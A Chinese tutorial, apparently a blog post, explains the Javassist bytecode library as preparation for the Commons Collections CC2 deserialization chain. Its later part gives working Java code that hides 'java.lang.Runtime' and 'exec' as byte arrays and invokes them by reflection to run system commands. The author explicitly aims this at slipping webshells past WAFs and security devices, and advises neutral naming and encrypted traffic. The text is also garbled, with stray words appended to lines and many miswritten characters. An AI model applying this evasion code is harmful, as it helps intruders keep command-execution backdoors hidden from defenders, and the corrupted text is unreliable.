在调试CC2链前先来填补知识盲区,先来了解一下Javassist
具体的做用。在CC2链会用到Javassist
以及PriorityQueue
来构造利用链java
Java 字节码以二进制的形式存储在 class 文件中,每个 class 文件包含一个 Java 类或接口。Javaassist 就是一个用来处理 Java 字节码的类库。web
Javassist
是一个开源的分析、编辑和建立Java字节码的类库。shell
这里主要讲一下主要的几个类:编程
ClassPool
:一个基于哈希表(Hashtable
)实现的CtClass
对象容器,其中键名是类名称,值是表示该类的CtClass
对象(Hashtable
和Hashmap
相似都是实现map接口,hashmap能够接收null的值,可是Hashtable不行)。安全
static ClassPool getDefault() 返回默认的类池。 ClassPath insertClassPath(java.lang.String pathname) 在搜索路径的开头插入目录或jar(或zip)文件。 ClassPath insertClassPath(ClassPath cp) ClassPath在搜索路径的开头插入一个对象。 java.lang.ClassLoader getClassLoader() 获取类加载器toClass(),getAnnotations()在 CtClass等 CtClass get(java.lang.String classname) 从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用。 ClassPath appendClassPath(ClassPath cp) 将ClassPath对象附加到搜索路径的末尾。 CtClass makeClass(java.lang.String classname) 建立一个新的public类
CtClass
表示类,一个CtClass
(编译时类)对象能够处理一个class
文件,这些CtClass
对象能够从ClassPoold
的一些方法得到。app
void setSuperclass(CtClass clazz) 更改超类,除非此对象表示接口。 java.lang.Class<?> toClass(java.lang.invoke.MethodHandles.Lookup lookup) 将此类转换为java.lang.Class对象。 byte[] toBytecode() 将该类转换为类文件。 void writeFile() 将由此CtClass 对象表示的类文件写入当前目录。 void writeFile(java.lang.String directoryName) 将由此CtClass 对象表示的类文件写入本地磁盘。 CtConstructor makeClassInitializer() 制做一个空的类初始化程序(静态构造函数)。
CtMethod
:表示类中的方法。函数
CtConstructor的实例表示一个构造函数。它可能表明一个静态构造函数(类初始化器)。ui
void setBody(java.lang.String src) 设置构造函数主体。 void setBody(CtConstructor src, ClassMap map) 从另外一个构造函数复制一个构造函数主体。 CtMethod toMethod(java.lang.String name, CtClass declaring) 复制此构造函数并将其转换为方法。
该类做用是用于经过 getResourceAsStream() 在 java.lang.Class 中获取类文件的搜索路径。this
构造方法:加密
ClassClassPath(java.lang.Class<?> c) 建立一个搜索路径。
java.net.URL find (java.lang.String classname) 获取指定类文件的URL。 java.io.InputStream openClassfile(java.lang.String classname) 经过获取类文getResourceAsStream()。
ClassPool pool = ClassPool.getDefault();
在默认系统搜索路径获取ClassPool
对象。
若是须要修改类搜索的路径须要使用insertClassPath
方法进行修改。
pool.insertClassPath(new ClassClassPath(this.getClass()));
将本类所在的路径插入到搜索路径中
package com.demo; import javassist.*; import java.io.IOException; import java.util.Arrays; public class testssit { public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(demo.class.getClass())); CtClass ctClass = pool.get("com.demo.test"); ctClass.setSuperclass(pool.get("com.demo.test")); // System.out.println(ctClass); byte[] bytes = ctClass.toBytecode(); String s = Arrays.toString(bytes); System.out.println(s); } }
Hello类: public class Hello { public void say() { System.out.println("Hello"); } } Test 类 public class Test { public static void main(String[] args) throws Exception { ClassPool cp = ClassPool.getDefault();//在默认系统搜索路径获取ClassPool对象。 CtClass cc = cp.get("com.demo.Hello"); //获取hello类的 CtMethod m = cc.getDeclaredMethod("say"); //获取hello类的say方法 m.insertBefore("{ System.out.println(\"Hello.say():\"); }");//在正文的开头插入字节码 Class c = cc.toClass();//将此类转换为java.lang.Class对象 Hello h = (Hello)c.newInstance(); //反射建立对象并进行强转 h.say();调用方法say } }
按照个人理解来讲就是能够去将类和字节码进行互相转换。那么按照这个思路来延申的话,咱们能够作到什么呢?我首先想到的可能就是webshell的一些免杀,例如说Jsp的最多见的一些webshell,都是采用Runtime
,ProcessBuilder
这两个类去进行构造,执行命令。按照WAF的惯性这些设备确定是把这些常见的执行命令函数给拉入黑名单里面去。那么若是说能够转换成字节码的话呢?字节码确定是不会被杀的。若是说这时候将Runtime
这个类转换成字节码,内嵌在Jsp中,后面再使用Javassist
来将字节码还原成类的话,若是转换的几个方法没被杀的话,是能够实现过WAF的。固然这些也只是个人一些臆想
,由于Javassist并非JDK中自带的,实现的话后面能够再研究一下。可是类加载器确定是能够去加载字节码,而后实现执行命令的。这里只是抛砖引玉,更多的就不细说了。若是有更好的想法也能够提出来一块儿去交流。
这里能够来思考一个问题,该怎么样才能动态传入参数去执行呢?那能想到的确定是反射。若是咱们用上面的思路,把所有代码都转换成字节码的话,其实就没有多大意义了。由于全是固定死的东西,他也只会执行而且获得同一个执行结果。
我在这里能想到的就是将部分在代码里面固定死的代码给转换成字节码,而后再使用反射的方式去调用。
public class test { public static void main(String[] args) { String string ="java.lang.Runtime"; byte[] bytes1 = string.getBytes(); System.out.println(Arrays.toString(bytes1)); } }
获取结果:
[106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108]
如今已是把结果给获取到了,可是咱们须要知道字节码怎么样还原为String类型。
在后面翻阅资料的时候,发现String的构造方法就直接能执行,来看看他的官方文档。
使用bytes去构造一个新的String
代码:
public class test { public static void main(String[] args) { byte[] bytes = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}; String s = new String(bytes); System.out.println(s); } }
public class test { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}; String run = new String(b1); String command = "ipconfig"; Class aClass = Class.forName(run); Constructor declaredConstructor = aClass.getDeclaredConstructor(); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(); Method exec = aClass.getMethod("exec", String.class); Process process = (Process) exec.invoke(o,command); InputStream inputStream = process.getInputStream(); //获取输出的数据 String ipconfig = IOUtils.toString(inputStream,"gbk"); //字节输出流转换为字符 System.out.println(ipconfig); } }
命令执行成功。
那么这就是一段完整的代码,可是还有些地方处理得不是很好,好比:
Method exec = aClass.getMethod("exec", String.class);
这里是反射获取exec
方法,这里的exec是固定的。exec
这个对于一些设备来讲也是严杀的。
那么在这里就能够来处理一下,也转换成字节码。
转换后的字节码:
[101, 120, 101, 99]
改进一下代码:
public class test { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { String command = "ipconfig"; byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}; String run = new String(b1); byte[] b2 = new byte[]{101, 120, 101, 99}; String cm = new String(b2); Class aClass = Class.forName(run); Constructor declaredConstructor = aClass.getDeclaredConstructor(); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(); Method exec = aClass.getMethod(cm, String.class); Process process = (Process) exec.invoke(o,command); InputStream inputStream = process.getInputStream(); //获取输出的数据 String ipconfig = IOUtils.toString(inputStream,"gbk"); //字节输出流转换为字符 System.out.println(ipconfig); } }
实际中运用就别用啥ipconfig
和command
这些来命名了,这些都是一些敏感词。这里只是为了方便理解。
在真实状况下应该是request.getInputStream()
来获取输入的命令的。那么这里也还须要注意传输的时候进行加密,否则流量确定也是过不了设备的。
其实后面这些内容是跑偏题了,由于是后面忽然才想到的这么一个东西。因此将他给记录下来。